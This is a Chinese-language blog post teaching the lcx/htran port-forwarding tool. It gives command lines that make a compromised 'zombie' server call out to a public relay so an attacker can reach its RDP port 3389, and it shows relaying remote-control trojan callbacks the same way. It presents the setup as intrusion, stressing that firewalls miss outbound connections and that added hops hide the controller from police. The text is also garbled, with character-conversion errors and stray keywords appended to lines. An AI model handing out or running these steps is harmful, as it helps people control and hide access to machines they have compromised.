lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,固然也能够在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不一样端口之间造成一个回路(如图1)。它经常使用于外网链接内网3389端口。linux
这个工具很早就已经有了,它的全名叫Socket data transport tool,简写作trtool,由红盟联盟的前辈bkbll所写,功能和lion写的htran 1.1版同样,不过是在linux下使用的而已。所谓的lcx.exe实际上是lcx根据lion的代码所修改编译过的htran。如今已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其余版本,好比jsp版,http隧道版等等。web
下面说一下它的使用以及功能说明:shell
Usage of Packet Transmit: ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file] ./lcx -about [options:] -listen <local port1> <local port2> -tran <local port> <remote host> <remote port> -slave <remote host1> <remote port1> <remote host2> <remote port2> -hex : hex mode data dump -text : text mode data dump -log : save transfer log
最经常使用功能:链接内网的3389windows
1. B主机(公网IP:20.30.40.50): lcx -listen 2222 6666服务器
2222为转发端口,6666为B主机任意未被占用的端口网络
2. A肉鸡服务器:lcx.exe -slave 20.30.40.50 2222 127.0.0.1 3389jsp
20.30.40.50为B主机的IP,2222为转发端口,127.0.0.1为A肉鸡内网IP,3389为远程终端端口工具
3. B主机链接A肉鸡3389时格式:mstsc 127.0.0.1:6666spa
固然,其余主机(C主机,能够在内网中)链接A肉鸡服务器:mstsc 20.30.40.50:6666命令行
至此,就能够经过lcx端口映射就能够直接链接内网服务器了。整个链接流程图大体以下:
上面的状况中多数是经过跳板主机B来链接肉鸡服务器的,也就是主机C经过链接处于公网中的服务器B来链接内网服务器A。上面的链接中,先是肉鸡服务器主动发起向外(主机B)的链接,因此这种状况,防火墙通常是不会拦截的。并且因为跳板机(主机B)只是监听本地端口,而控制者(主机C)能够在任意网络环境中,因此很难追踪到控制者的具体位置。若是再加上几个跳板就很难被查水表啦:)
逆向思惟:端口转发实现远程控制
基于lcx强大的端口转发功能,能够经过端口转发实现将远程控制的服务端放置的任意网络环境中。
1. 配置客户端上线地址:21.23.10.8 端口:8083
2. 公网主机运行lcx:lcx -listen 123 8083
3. 控制端运行:lcx.exe -slave 21.23.10.8 123 127.0.0.1 789 通知设置远控控制端的监听端口:789
能够看到,这用使用方式和上面的彻底相反。控制端使用lcx主动链接公网中的转发主机,因为肉鸡上的客户端默认是配置主动链接的,因此只要转发通道是通畅的,客户端发起的链接都会由转发主机转发到控制端的机子上,而不管控制端是否有公网IP。因此说,关键的瓶颈就能够这用解决。又因为lcx已经支持跨平台,因此即便公网主机是Linux系统也能够实现只能在windows上跑的绝大多数远控软件。
关于lcx的使用就简单介绍到这里,以后将会对lcx源码作一个简单的分析,博客将持续更新。。。